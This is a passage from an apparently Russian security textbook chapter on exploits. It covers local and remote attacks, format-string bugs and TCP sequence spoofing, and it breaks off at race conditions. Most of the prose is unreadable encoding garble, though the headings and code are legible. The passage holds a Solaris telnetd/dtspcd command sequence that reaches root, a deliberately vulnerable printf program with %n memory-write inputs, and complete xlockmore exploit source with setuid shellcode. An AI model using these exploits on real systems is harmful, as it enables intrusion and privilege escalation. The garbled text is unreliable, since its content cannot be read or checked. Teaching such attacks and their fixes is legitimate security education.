ðàíüøå, ñêîðåå âñåãî, îáðàùàëè âíèìàíèå òîëüêî íà ñàìûå ëåãêèå äëÿ îáíàðó-
æåíèÿ ïðîáëåìû. Ïðîãëÿäèòå òàêæå îò÷åòû îá îøèáêàõ, íàéäåííûõ â êîíêó-
ðèðóþùèõ ïðèëîæåíèÿõ; âîçìîæíî, ÷òî îíè èìåþò ñõîæèå óÿçâèìîñòè.

Äàâ ïðåäñòàâëåíèå î ìåòîäèêå îáíàðóæåíèÿ óÿçâèìîñòåé, ïåðåéäåì ê ñà-
ìèì ýêñïëîéòàì. Íà÷íåì ñ âîïðîñà î òîì, êàê ïðèìåíÿþòñÿ ýêñïëîéòû äëÿ
àòàêè íà ëîêàëüíûå è óäàëåííûå ïðîãðàììû.

Эксплойты для атаки на локальные
и удаленные программы
Åñëè àòàêóþùèé õî÷åò ñêîìïðîìåòèðîâàòü ñåðâåð, ê êîòîðîìó ó íåãî íåò âî-
îáùå íèêàêîãî äîñòóïà (ñ êîíñîëè, ÷åðåç óäàëåííóþ îáîëî÷êó ïîñëå àóòåíòè-
ôèêàöèè èëè åùå êàê-íèáóäü), òî íåîáõîäèì óäàëåííûé ýêñïëîéò. Áåç äèñ-
òàíöèîííîãî ïðèâèëåãèðîâàííîãî äîñòóïà ê ñèñòåìå àòàêîâàòü óñòàíîâëåí-
íûå íà íåé óÿçâèìûå ïðîãðàììû íåâîçìîæíî.

Óÿçâèìîñòè ìîãóò ñóùåñòâîâàòü êàê â ñåòåâîì ïðèëîæåíèè, íàïðèìåð,
â Web-ñåðâåðå, òàê è â ëîêàëüíîì, ñêàæåì, â àäìèíèñòðàòèâíîé óòèëèòå. Õîòÿ

Эксплойты для атаки на локальные и удаленные программы
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îáû÷íî óÿçâèìîñòè â ëîêàëüíûõ è óäàëåííûõ ïðîãðàììàõ íå ïåðåñåêàþòñÿ,
íî èíîãäà ïðèõîäèòñÿ âçëàìûâàòü èõ ïîñëåäîâàòåëüíî, ÷òîáû ïîâûñèòü ñâîè
ïðèâèëåãèè, òàê êàê ÷àùå âñåãî ñåòåâûå ñëóæáû íå çàïóñêàþòñÿ îò èìåíè
ïðèâèëåãèðîâàííîãî ïîëüçîâàòåëÿ, êàêîâûì ÿâëÿåòñÿ, ñêàæåì, root èëè
SYSTEM. Íàïðèìåð, òàêèå ñëóæáû, êàê Apache, IIS è OpenSSH ðàáîòàþò îò
èìåíè íåïðèâèëåãèðîâàííûõ ïîëüçîâàòåëåé ñ î÷åíü îãðàíè÷åííûìè ïðàâà-
ìè, ÷òîáû ñíèçèòü óùåðá îò âîçìîæíîãî âçëîìà. ×òîáû ïîâûñèòü ñâîè ïðè-
âèëåãèè âñëåä çà óñïåøíîé àòàêîé, íåîáõîäèìî âûïîëíèòü åùå è ëîêàëüíûé
ýêñïëîéò.

Ïðåäïîëîæèì, ê ïðèìåðó, ÷òî óäàëîñü âçëîìàòü Web-ñåðâåð Apache. Òîãäà
àòàêóþùèé ïîëó÷èò ïðàâà ïîëüçîâàòåëÿ apache, www èëè êîãî-òî ïîäîáíîãî
(â çàâèñèìîñòè îò ñèñòåìû), íî íå root. Ýêñïëóàòàöèÿ îøèáîê â ëîêàëüíî
óñòàíîâëåííûõ ïðîãðàììàõ, â ÿäðå è ïðî÷åì ïîçâîëèò ïîâûñèòü ïðèâèëåãèè
äî óðîâíÿ root. À óæ òîãäà àòàêóþùèé ïîëó÷àåò ïîëíóþ ñâîáîäó äåéñòâèé âî
âçëîìàííîé ñèñòåìå.

Äèñòàíöèîííàÿ àòàêà íà íåäàâíî îáíàðóæåííóþ óÿçâèìîñòü â Apache íà
ïëàòôîðìå OpenBSD äàåò íåïðèâèëåãèðîâàííûé äîñòóï, íî â ñî÷åòàíèè
ñ àòàêîé íà îøèáêó â ÿäðå (ïåðåïîëíåíèå â ñèñòåìíîì âûçîâå select) ìîæíî
ïîëó÷èòü ïðàâà root. Òàêîå ñî÷åòàíèå àòàê íà ëîêàëüíûå è óäàëåííûå ïðî-
ãðàììû ìû áóäåì íàçûâàòü äâóõøàãîâîé àòàêîé.

Â ïðèìåðå 10.1 ïîêàçàíà äâóõøàãîâàÿ àòàêà. Íà ïåðâîì øàãå èñïîëüçóåòñÿ
ïåðåïîëíåíèå êó÷è â Sun Solaris. Áîëüøèíñòâî óäàëåííûõ óÿçâèìîñòåé ýêñ-
ïëóàòèðîâàòü íå òàê ïðîñòî, íî ýòà ïðîëàãàåò ïóòè ê àíîìàëüíî ïðîñòîìó
ïîâûøåíèþ ïðèâèëåãèé. Óâû, òàêîãî ðîäà îøèáêè âñòðå÷àþòñÿ íå ÷àñòî.

Пример 10.1.Пример 10.1.Пример 10.1.Пример 10.1.Пример 10.1. Двухшаговый эксплойт
Дистанционная атака на переполнение кучи в сервере telnetd на платформе
Sun Solaris
 1 % telnet

 2 telnet> environ define TTYPROMPT abcdef

 3 telnet> open localhost

 4 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c

c c c c c c c c c c c c c c c c c c c c c c

 5 $ whoami

 6 bin

Локальное повышение привилегий до уровня root на платформе Sun Solaris
 7 % grep dtspcd /etc/inetd.conf

 8 dtspcd stream tcp wait root /usr/dt/dtspcd dtspcd

 9 % ls -l /usr/dt/dtspcd

10 20 -rwxrwxr-x   root   bin   20082 Jun 26 1999 /usr/dt/dtspcd

11 % cp /usr/dt/dtspcd /usr/dt/dtspcd2
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12 % rm /usr/dt/dtspcd

13 % cp /bin/sh /usr/dt/dtspcd

14 % telnet localhost 6112

15 Trying 127.0.0.1...

16 Connected to localhost

17 Escape character is '^]'.

18 id;

19 uid=0(root) gid=0(root)

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ïîñëå ïåðåïîëíåíèÿ áóôåðà, ïðîèçîøåäøåãî â ðåçóëüòàòå âûïîëíåíèÿ êî-
ìàíä â ñòðîêàõ 1–6, àòàêóþùèé ïîëó÷àåò ïðàâà ïîëüçîâàòåëÿ user è ãðóïïû bin.
Òàê êàê ôàéë /usr/dt/dtspcd äîñòóïåí äëÿ çàïèñè âñåì ÷ëåíàì ãðóïïû bin, òî
àòàêóþùèé ìîæåò åãî ìîäèôèöèðîâàòü. Èíòåðåñíî, îäíàêî, ÷òî ýòà ïðî-
ãðàììà âûçûâàåòñÿ äåìîíîì inetd è, ñëåäîâàòåëüíî, ðàáîòàåò îò èìåíè root.
À êîëè òàê, òî àòàêóþùèé äåëàåò êîïèþ èñõîäíîãî ôàéëà dtspcd, à çàòåì ïîä-
ìåíÿåò åãî ôàéëîì /bin/sh. Òåïåðü ñ ïîìîùüþ telnet àòàêóþùèé ñîåäèíÿåòñÿ
ñ ïîðòîì 6112, íà êîòîðîì ðàáîòàåò dtspcd, è ïîëó÷àåò ïðèâèëåãèè root. Âû-
ïîëíèâ êîìàíäó id (çàâåðøàåìóþ ñèìâîëîì ‘;’), ìîæíî óáåäèòüñÿ â ýòîì –
õàêåð äîñòèã ñâîåé öåëè.

Атаки на форматную строку
Àòàêà íà ôîðìàòíóþ ñòðîêó áûëà èçîáðåòåíà â 2000 ãîäó. Äî ýòîãî îñíîâíîé
îøèáêîé, èç-çà êîòîðîé âîçíèêàëè áðåøè â ñèñòåìå áåçîïàñíîñòè, áûëî ïå-
ðåïîëíåíèå áóôåðà. Äëÿ ìíîãèõ îòêðûòèå ýòîãî íîâîãî êëàññà îøèáîê ñòà-
ëî ñþðïðèçîì, ïîñêîëüêó â ðåçóëüòàòå áûë ðàçâåí÷àí ìèô îá îòñóòñòâèè ëî-
êàëüíûõ «äûð» â ñèñòåìå OpenBSD, êîòîðîìó âåðèëè â òå÷åíèå äâóõ ëåò.
Â îòëè÷èå îò ïåðåïîëíåíèé áóôåðà, çäåñü íå ïðîèñõîäèò çàòèðàíèÿ äàííûõ
â ñòåêå èëè â êó÷å. Íî èç-çà íåêîòîðûõ òîíêîñòåé ðàáîòû ôóíêöèé ñ ïåðåìåí-
íûì ÷èñëîì àðãóìåíòîâ (èñïîëüçóþùèõ èíòåðôåéñ stdarg) ìîæíî èçìåíèòü
ñîäåðæèìîå ïðîèçâîëüíîãî àäðåñà ïàìÿòè. Ê ÷èñëó òàêèõ ôóíêöèé îòíîñÿò-
ñÿ, â ÷àñòíîñòè, printf, sprintf, fprintf è syslog.

Форматные строки

Ôîðìàòíûå ñòðîêè îáû÷íî âñòðå÷àþòñÿ â ôóíêöèÿõ ñ ïåðåìåííûì ÷èñëîì
àðãóìåíòîâ òàêèõ, êàê printf, sprintf, fprintf è syslog, è ñëóæàò äëÿ ôîðìàòèðîâà-
íèÿ âûâîäèìûõ äàííûõ. Â ïðèìåðå 10.2 ïîêàçàíà ïðîãðàììà, â êîòîðîé åñòü
óÿçâèìîñòü èç-çà íåêîððåêòíîé ðàáîòû ñ ôîðìàòíîé ñòðîêîé.

Атаки на форматную строку
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Пример 10.2. Пример 10.2. Пример 10.2. Пример 10.2. Пример 10.2. Пример уязвимой программы
 1 #include <stdio.h>

 2
 3 int main(int argc, char **argv)

 4 {

 5   int number = 5;

 6
 7   printf(argv[1]);

 8   putchar('\n');

 9   printf("number (%p) ðàâíî %d\n", &value, value);

10 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç

Âçãëÿíèòå íà ïðåäëîæåíèå â ñòðîêå 7. Åñëè âû çíàêîìû ñ ôóíêöèåé printf, òî
ñðàçó óâèäèòå, ÷òî ôîðìàòíàÿ ñòðîêà îòñóòñòâóåò. Íî ïåðâûé àðãóìåíò òåì
íå ìåíåå èíòåðïðåòèðóåòñÿ êàê ôîðìàòíàÿ ñòðîêà, ïîýòîìó åñëè â íåì âñòðå-
òÿòñÿ ñïåöèôèêàòîðû ôîðìàòà, òî îíè áóäóò îáðàáîòàíû. À òåïåðü äàâàéòå
çàïóñòèì ïðîãðàììó:

1 $gcc -o example example.c

2 $ ./example testing

3 testing

4 number (0xbffffc28) ðàâíî 5

5 $ ./example AAAA%x%x%x

6 bffffc3840049f1840135e4841414141

7 number (0xbffffc18) ðàâíî 5

8 $

9

Âî âòîðîé ðàç ïðè çàïóñêå ïðîãðàììû ìû çàäàëè àðãóìåíò, ñîäåðæàùèé
ñïåöèôèêàòîð ôîðìàòà %x, êîòîðûé ïå÷àòàåò ÷åòûðåõáàéòîâîå çíà÷åíèå
â âèäå 16-ðè÷íîãî ÷èñëà. Òî, ÷òî ìû âèäèì, ýòî çíà÷åíèÿ â ñòåêå ïðîãðàì-
ìû. Â ÷àñòíîñòè, 41414141 – ýòî ÷åòûðå áóêâû A, âõîäÿùèå â ñîñòàâ àðãóìåí-
òà; îíè áûëè ïîìåùåíû â ñòåê, ïîñêîëüêó â ñòðîêå 7 (ïðèìåð 10.2) àðãóìåíò,
çàäàííûé â êîìàíäíîé ñòðîêå, ïåðåäàåòñÿ ôóíêöèè printf. Íó õîðîøî, ìû ñó-
ìåëè ðàñïå÷àòàòü ñòåê, íî êàê ìîæíî òàêèì ñïîñîáîì ìîäèôèöèðîâàòü ïà-
ìÿòü? Îòâåò êðîåòñÿ â èñïîëüçîâàíèè ñïåöèôèêàòîðà %n.

Ïî áîëüøåé ÷àñòè ôîðìàòíûå ñòðîêè ïðèìåíÿþòñÿ äëÿ ôîðìàòèðîâàíèÿ
âûâîäèìûõ äàííûõ: ñòðîê, ÷èñåë ñ ïëàâàþùåé òî÷êîé, öåëûõ è òàê äàëåå. Íî
åñòü îäèí ñïåöèôèêàòîð, êîòîðûé ïîçâîëÿåò ýêñïëóàòèðîâàòü îøèáêè ïðè
ðàáîòå ñ ôîðìàòíûìè ñòðîêàìè. Ñïåöèôèêàòîð %n ñîõðàíÿåò â ïåðåìåííîé
÷èñëî âûâåäåííûõ ê ýòîìó ìîìåíòó ñèìâîëîâ (ïðèìåð 10.3).
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Пример 10.3. Пример 10.3. Пример 10.3. Пример 10.3. Пример 10.3. Использование спецификатора %n
1   printf(hello%n\n", &number);

2   printf(hello%100d%n\n", 1, &number);

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêå 1 ïåðåìåííàÿ number áóäåò ñîäåðæàòü çíà÷åíèå 5, ïîñêîëüêó èìåííî
òàêîâî ÷èñëî ñèìâîëîâ â ñòðîêå «hello». Ñïåöèôèêàòîð %n íå âûâîäèò ÷èñ-
ëî ñèìâîëîâ, à ñîõðàíÿåò åãî â ïðåäîñòàâëåííîé ïåðåìåííîé. Ñëåäîâàòåëüíî,
ïîñëå èñïîëíåíèÿ êîäà â ñòðîêå 2 ïåðåìåííàÿ number áóäåò ñîäåðæàòü çíà÷å-
íèå 105 – äëèíà ñòðîêè «hello» ïëþñ 100 ñèìâîëîâ, âûâåäåííûõ ïî ñïåöèôè-
êàòîðó %100d.

Åñëè ìû ìîæåì êîíòðîëèðîâàòü àðãóìåíòû, ïåðåäàâàåìûå íåêîòîðîé ôóí-
êöèè, ðàáîòàþùåé ñ ôîðìàòíîé ñòðîêîé, òî ñóìååì çàïèñàòü ïðîèçâîëüíîå
çíà÷åíèå ïî óêàçàííîìó àäðåñó, âêëþ÷èâ â ôîðìàòíóþ ñòðîêó ñïåöèôèêàòîð
%n. ×òîáû çàòåðåòü çíà÷åíèÿ óêàçàòåëåé â ñòåêå, íóæíî çàäàòü ñîîòâåòñòâóþ-
ùèé àäðåñ è âêëþ÷èòü %n, ÷òîáû ïåðåïèñàòü ñîäåðæèìîå ýòîãî àäðåñà. Ïî-
ïðîáóåì èçìåíèòü çíà÷åíèå ïåðåìåííîé number. Ìû çíàåì, ÷òî ïðè âûçîâå
óÿçâèìîé ïðîãðàììû ñ àðãóìåíòîì äëèíîé 10 ýòà ïåðåìåííàÿ áóäåò ðàñïîëà-
ãàòüñÿ â ñòåêå ïî àäðåñó 0xbffffc18. Ìîäèôèöèðóåì åå.

1 $ ./example "printf "\x18\xfc\xff\xbf"" %x%x%n

2 bffffc3840049f1840135e48

3 number (0xbffffc18) ðàâíî 10

4 ;

5

Êàê âèäèòå, òåïåðü ïåðåìåííàÿ number ñîäåðæèò äëèíó àðãóìåíòà, çàäàííî-
ãî â êîìàíäíîé ñòðîêå. Èòàê, âîñïîëüçîâàâøèñü ñïåöèôèêàòîðîì %n, ìû ñó-
ìåëè èçìåíèòü ñîäåðæèìîå ïàìÿòè ïî ïðîèçâîëüíîìó àäðåñó, íî êàê çàïè-
ñàòü òóäà ÷òî-íèáóäü ïîëåçíîå? Äîïîëíèâ áóôåð äî óêàçàííîé äëèíû, íàïðè-
ìåð, ñ ïîìîùüþ ñïåöèôèêàòîðà %.100d, ìû ìîæåì çàäàòü áîëüøèå çíà÷åíèÿ,
íå ââîäÿ èõ ðåàëüíî â ïðîãðàììó. Åñëè æå íóæíî çàäàòü ìàëåíüêîå çíà÷å-
íèå, òî ìîæíî ðàçáèòü ïåðåçàïèñûâàåìûé àäðåñ íà ÷àñòè è ââîäèòü êàæäûé
áàéò 4-áàéòíîãî àäðåñà îòäåëüíî.

Íàïðèìåð, åñëè íóæíî ïåðåïèñàòü ñîäåðæèìîå ïàìÿòè ïî àäðåñó 0xbffff710
(-1073744112), òî ìîæíî ðàçáèòü åãî íà äâà äâóõáàéòîâûõ ÷èñëà òèïà short.
Îáà ýòè ÷èñëà – 0xbfff è 0xf710 – ïîëîæèòåëüíû, òàê ÷òî ãîäÿòñÿ äëÿ çàïîëíå-
íèÿ ñ ïîìîùüþ %d. Âûïîëíèâ ñ ïîìîùüþ %n äâå çàïèñè â ñòàðøóþ è ìëàä-
øóþ ïîëîâèíó àäðåñà âîçâðàòà, ìû ñóìååì çàìåíèòü åãî òåì, ÷òî íàì íóæíî.
Òùàòåëüíî ñîñòàâëåííûé shell-êîä, âíåäðåííûé â àäðåñíîå ïðîñòðàíñòâî
óÿçâèìîé ïðîãðàììû, äàñò íàì âîçìîæíîñòü âûïîëíèòü ïðîèçâîëüíóþ ïî-
ñëåäîâàòåëüíîñòü êîìàíä.

Атаки на форматную строку
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Исправление ошибки из3за некорректного

использования форматной строки

Íàéòè è èñïðàâèòü ïîäîáíîãî ðîäà îøèáêè ñîâñåì ïðîñòî. Îíè ÿâëÿþòñÿ
ñëåäñòâèåì òîãî, ÷òî â ïåðâîì àðãóìåíòå ôóíêöèè, îïåðèðóþùåé ñïèñêàìè
àðãóìåíòîâ òèïà va_arg, îòñóòñòâóþò ñïåöèôèêàòîðû ôîðìàòà. Â ïðèìåðå
10.2 óÿçâèìûì áûëî ïðåäëîæåíèå printf(argv[1]). ×òîáû èñïðàâèòü îøèáêó,
äîñòàòî÷íî äîáàâèòü åùå îäèí àðãóìåíò «%s», â ðåçóëüòàòå îáðàùåíèå
ê ôóíêöèè ïðèìåò âèä printf(«%s», argv[1]). Òåïåðü íèêàêèå ñèìâîëû â argv[1]
íå áóäóò èíòåðïðåòèðîâàòüñÿ, êàê ñïåöèôèêàòîðû ôîðìàòà. Íåêîòîðûå àíà-
ëèçàòîðû èñõîäíûõ òåêñòîâ íàõîäÿò òàêèå óÿçâèìîñòè àâòîìàòè÷åñêè. Ñà-
ìûì èçâåñòíûì èç íèõ ÿâëÿåòñÿ ïðîãðàììà pscan (www.striker.ottawa.on.ca/
~aland/pscan/), êîòîðàÿ èùåò â èñõîäíîì òåêñòå ôóíêöèè ôîðìàòèðîâàíèÿ,
íå ñîäåðæàùèå ôîðìàòíîé ñòðîêè.

Пример: уязвимость xlockmore
вследствие задания пользователем
форматной строки (CVE�2000�0763)
Îïèñàííàÿ âûøå óÿçâèìîñòü èìååòñÿ â ïðîãðàììå xlockmore, íàïèñàííîé Äý-
âèäîì Áýãëè (David Bagley). Îøèáêà ïðîÿâëÿåòñÿ ïðè çàäàíèè ôëàãà -d. Âîò
ïðèìåð:

$ xlockmore -d %x%x%x%x
xlockmore: unable to open display dfbfd958402555e1ea748dfbfd958dfbfd654
$

À ïîñêîëüêó xlockmore â ñèñòåìå OpenBSD – ýòî setuid-ïðîãðàììà, ïðèíàä-
ëåæàùàÿ ïîëüçîâàòåëþ root, òî, èñïîëíÿÿ åå ëîêàëüíî, ìîæíî ïîëó÷èòü ïðè-
âèëåãèè root. Â äðóãèõ âàðèàíòàõ UNIX xlockmore ìîæåò óñòàíàâëèâàòüñÿ èíà-
÷å, òàê ÷òî ñòàòü root’îì íå óäàñòñÿ.

Äåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòèÄåòàëè óÿçâèìîñòè
Ýòà îøèáêà âûçâàíà íåêîððåêòíûì èñïîëüçîâàíèåì ôîðìàòíîé ñòðîêè
â ôóíêöèè syslog, êàê âèäíî èç ñëåäóþùåãî ôðàãìåíòà èñõîäíîãî òåêñòà:

1 #if defined( HAVE_SYSLOG_H ) && defined( USE_SYSLOG )

2     extern Display *dsp;
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 3
 4     syslog(SYSLOG_WARNING, buf);

 5     if (!nolock) {

 6        if (strstr(buf, "unable to open display") == NULL)

 7           syslogStop(XDisplayString(dsp));

 8        closelog();

 9     }

10 #else

11     (void) fprintf(stderr, buf);

12 #endif

13     exit(1);

14 }

Îáå ôóíêöèè – syslog è fprintf – èñïîëüçóþòñÿ íåêîððåêòíî, îòêðûâàÿ âîç-
ìîæíîñòü äëÿ àòàêè. Â ñòðîêå 4 ïðè âûçîâå syslog íå óêàçàíà ôîðìàòíàÿ ñòðî-
êà, ïîýòîìó ïîëüçîâàòåëü ìîæåò çàäàòü â êîìàíäíîé ñòðîêå ñïåöèôèêàòîðû
ôîðìàòèðîâàíèÿ è èçìåíèòü ñîäåðæèìîå ïðîèçâîëüíîãî àäðåñà ïàìÿòè.
Òî æå îòíîñèòñÿ ê ôóíêöèè fprintf â ñòðîêå 11.

Äåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòàÄåòàëè ýêñïëîéòà
×òîáû àòàêîâàòü ýòó óÿçâèìîñòü, íåîáõîäèìî èçìåíèòü àäðåñ âîçâðàòà â ñòå-
êå, âîñïîëüçîâàâøèñü ñïåöèôèêàòîðîì %n. Ýêñïëîéò äëÿ OpenBSD íàïèñàë
Ñèíàí Ýðåí (Sinan Eren). Íèæå ïðèâåäåí åãî òåêñò.

Пример 10.4. Пример 10.4. Пример 10.4. Пример 10.4. Пример 10.4. Эксплойт для атаки на уязвимость в программе xlockmore
 1 #include <stdio.h>

 2
 3 char bsd_shellcode[] =

 4   "\x31\xc0\x50\x50\xb0\x17\xcd\x80"  // setuid(0)

 5   "\x31\xc0\x50\x50\xb0\xb5\xcd\x80"  //setgid(0)

 6   "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"

 7   "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"

 8   "\x50\x51\x56\x50\xb0\x3b\xcd\x80"

 9   "\xe8\xe5\xff\xff\xff/bin/sh";

10
11 struct platform {

12     char *name;

13     unsigned short count;

14     unsigned long dest_addr;

15     unsigned long shell_addr;

16     char *shellcode;

17 };

18
19 struct platform targets[3] =

20 {

21   { "OpenBSD 2.6 i386", 246, 0xdfbfd4a0, 0xdfbfdde0, bsd_shellcode },

Пример: уязвимость xlockmore вследствие задания пользователем форматной строки
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22   { "OpenBSD 2.7 i386", 246, 0xaabbccdd, 0xaabbccdd, bsd_shellcode },

23   { NULL, 0, 0, 0, NULL }

24 };

25
26 char jmpcode[129];

27 char fmt_string[2000];

28
29 char *args[] = { "xlock", "-display", fmt_string, NULL };

30 char *envs[] = { jmpcode, NULL };

31
32
33 int main(int argc, char *argv[])

34 {

35   char *p;

36   int x, len = 0;

37   struct platform *target;

38   unsigned short low, high;

39   unsigned long shell_addr[2], dest_addr[2];

40
41
42   target = &targets[0];

43
44   memset(jmpcode, 0x90, sizeof(jmpcode));

45   strcpy(jmpcode + sizeof(jmpcode) – strlen(target->shellcode),

46          target->shellcode);

47   shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;

48   shell_addr[1] =  target->shell_addr & 0xffff;

49
50   memset(fmt_string, 0x00, sizeof(fmt_string));

51
52   for (x = 17; x < target->count; x++) {

53       strcat(fmt_string, "%8x");

54       len += 8;

55   }

56
57   if (shell_addr[1] > shell_addr[0]) {

58      dest_addr[0] = target->dest_addr+2;

59      dest_addr[1] = target->dest_addr;

60      low  = shell_addr[0] – len;

61      high = shell_addr[1] – low – len;

62   } else {

63      dest_addr[0] = target->dest_addr;

64      dest_addr[1] = target->dest_addr+2;

65      low  = shell_addr[1] – len;

66      high = shell_addr[0] – low – len;

67   }

68
69   *(long *)&fmt_string[0] =  0x41;

70   *(long *)&fmt_string[1]  = 0x11111111;
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71   *(long *)&fmt_string[5]  = dest_addr[0];

72   *(long *)&fmt_string[9]  = 0x11111111;

73   *(long *)&fmt_string[13] = dest_addr[1];

74
75
76   p = fmt_string + strlen(fmt_string);

77   sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);

78
79   execve("/usr/X11R6/bin/xlock", args, envs);

80   perror("execve");

81 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ýòîì ýêñïëîéòå shell-êîä ïîìåùàåòñÿ â òîò æå áóôåð, ÷òî è èìÿ äèñïëåÿ,
à ôîðìàòíàÿ ñòðîêà òùàòåëüíî ñêîíñòðóèðîâàíà òàêèì îáðàçîì, ÷òîáû èçìå-
íèòü ñîäåðæèìîå íóæíîãî àäðåñà â ïàìÿòè. Ýêñïëîéò ïîçâîëÿåò ïîëó÷èòü
ïðèâèëåãèè ïîëüçîâàòåëÿ root â ÎÑ OpenBSD.

Â ñòðîêàõ 47 è 48 àäðåñ, ïî êîòîðîìó äîëæåí ðàçìåùàòüñÿ shell-êîä, ðàçáè-
âàåòñÿ íà äâå ÷àñòè è ñîõðàíÿåòñÿ â äâóõ 16-ðàçðÿäíûõ öåëûõ ÷èñëàõ. Çàòåì
â ñòðîêàõ 52–55 ñòåê çàïîëíÿåòñÿ ñòðîêàìè %08x, êîòîðûå ïîçâîëÿþò ïîëó-
÷èòü äîñòóï ê íàõîäÿùèìñÿ â íåì 32-ðàçðÿäíûì ñëîâàì. Äàëåå âû÷èòàåòñÿ
äëèíà äâóõ çíà÷åíèé òèïà short, ÷òîáû ïîëó÷èòü çíà÷åíèå, çàïîëíÿåìîå â ðå-
çóëüòàòå îáðàáîòêè ñïåöèôèêàòîðà %n. Íàêîíåö, â ñòðîêàõ 69–73 öåëåâîé
àäðåñ (ñîäåðæèìîå êîòîðîãî íóæíî ïîäìåíèòü) ïîìåùàåòñÿ â shell-êîä, îí
âûïîëíÿåòñÿ.

Уязвимости TCP/IP
Îïðåäåëèòü òèï îïåðàöèîííîé ñèñòåìû íà ëþáîé ìàøèíå â ñåòè ìîæíî ïî-
òîìó, ÷òî âñå ðåàëèçàöèè ñòåêà ïðîòîêîëîâ TCP/IP ðàçëè÷íû. Îòëè÷èòü îäíó
îò äðóãîé ìîæíî ïî òàêèì õàðàêòåðèñòèêàì, êàê ðàçìåð îáúÿâëÿåìîãî îêíà
èëè çíà÷åíèå TTL (âðåìÿ æèçíè ïàêåòà â ñåòè). Åùå îäèí óíèêàëüíûé àñïåêò
ëþáîé ðåàëèçàöèè – ýòî àëãîðèòì ãåíåðèðîâàíèÿ ñëó÷àéíûõ ÷èñåë, èñïîëü-
çóåìûõ êàê ïîðÿäêîâûå íîìåðà â ñåãìåíòàõ TCP, è èäåíòèôèêàòîðû IP-äà-
òàãðàìì. Òàêèå çàâèñèìîñòè îò ðåàëèçàöèè ñëóæàò èñòî÷íèêîì íåêîòîðûõ
âèäîâ óÿçâèìîñòåé. Ïî áîëüøåé ÷àñòè, óÿçâèìîñòè ñòåêà ïðîòîêîëîâ ïðèìå-
íÿþòñÿ äëÿ àòàê, âûçûâàþùèõ îòêàç îò îáñëóæèâàíèÿ, íî â íåêîòîðûõ ñëó÷à-
ÿõ óäàåòñÿ ïîääåëàòü TCP-ñîåäèíåíèå è âîñïîëüçîâàòüñÿ îòíîøåíèÿìè äîâå-
ðèòåëüíîñòè ìåæäó äâóìÿ ñèñòåìàìè.

Åñëè îñòàâèòü â ñòîðîíå DoS-àòàêè, òî ñàìîé çíà÷èìîé óãðîçîé áåçîïàñíî-
ñòè â ñåòè ÿâëÿåòñÿ ðåàëèçàöèÿ ãåíåðàòîðà ñëó÷àéíûõ ÷èñåë äëÿ ïîðÿäêîâûõ

Уязвимости TCP/IP
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íîìåðîâ TCP-ñåãìåíòîâ. Â íåêîòîðûõ îïåðàöèîííûõ ñèñòåìàõ äëÿ ýòîãî èñ-
ïîëüçóåòñÿ òåêóùåå âðåìÿ, â äðóãèõ ñäâèã â ïîñëåäîâàòåëüíîñòè ïðîèñõîäèò
÷åðåç îïðåäåëåííûå èíòåðâàëû. Äåòàëè ðàçëè÷íû, íî ñóòü îäíà: åñëè íîìåðà
âûáèðàþòñÿ íåäîñòàòî÷íî ñëó÷àéíî, òî ñèñòåìà óÿçâèìà äëÿ ïîääåëêè TCP-
ñîåäèíåíèÿ ìåòîäîì ñëåïîé àòàêè.

Öåëü òàêîé àòàêè – âîñïîëüçîâàòüñÿ îòíîøåíèÿìè äîâåðèòåëüíîñòè ìåæ-
äó äâóìÿ ñèñòåìàìè. Àòàêóþùèé ìîæåò çàðàíåå çíàòü, ÷òî õîñò A ïîëíîñ-
òüþ äîâåðÿåò õîñòó B. Àòàêà îðãàíèçóåòñÿ ñëåäóþùèì îáðàçîì: ïðîòèâíèê
ïîñûëàåò õîñòó-æåðòâå A íåñêîëüêî SYN-ïàêåòîâ, ÷òîáû ïîëó÷èòü ïðåä-
ñòàâëåíèå î ñïîñîáå ãåíåðèðîâàíèÿ ïîðÿäêîâûõ íîìåðîâ. Çàòåì îí àòàêóåò
õîñò B, ÷òîáû âûçâàòü îòêàç îò îáñëóæèâàíèÿ è íå äàòü åìó ïîñëàòü ïàêåòû
RST. Äàëåå õîñòó A ïîñûëàåòñÿ ïîääåëüíûé ïàêåò ÿêîáû îò õîñòà B ñ ïîäõî-
äÿùèì ïîðÿäêîâûì íîìåðîì. Ýòî ïðîäîëæàåòñÿ äî òåõ ïîð, ïîêà öåëü àòà-
êóþùåãî íå áóäåò äîñòèãíóòà (ïîëó÷åíû ôàéëû ñ ïàðîëÿìè ýëåêòðîííîé
ïî÷òû, èçìåíåí ïàðîëü äëÿ äîñòóïà ê ìàøèíå è òàê äàëåå). Ñëåäóåò îòìå-
òèòü, ÷òî ïðè ñëåïîé àòàêå ïðîòèâíèê íå âèäèò îòâåòîâ, ïîñûëàåìûõ õîñ-
òîì A õîñòó B.

Åùå íåñêîëüêî ëåò íàçàä ñëåïàÿ ïîääåëêà TCP áûëà ïðîáëåìîé, íî ñåé÷àñ
â áîëüøèíñòâå îïåðàöèîííûõ ñèñòåì ïðèìåíÿþòñÿ õîðîøèå ãåíåðàòîðû
ñëó÷àéíûõ ïîðÿäêîâûõ íîìåðîâ. È õîòÿ ïîòåíöèàëüíî óÿçâèìîñòü çàëîæåíà
â ñàìîé ïðèðîäå ïðîòîêîëà TCP, âîñïîëüçîâàòüñÿ åé äëÿ óñïåøíîé àòàêè
êðàéíå ñëîæíî. Èíòåðåñíîå èññëåäîâàíèå, ïðîâåäåííîå Ìàéêëîì Çàëåâñêè
(Michael Zalewski), ïðîëèâàåò äîïîëíèòåëüíûé ñâåò íà çàêîíîìåðíîñòè, âñòðå-
÷àþùèåñÿ ïðè ãåíåðèðîâàíèè ñëó÷àéíûõ ÷èñåë (http://razor.bindview.com/
publ ish/papers/tcpseq.html).

Гонки
Ñîñòîÿíèå «ãîíêè» (race condition) âîçíèêàåò, êîãäà íàðóøàåòñÿ âðåìåííàÿ
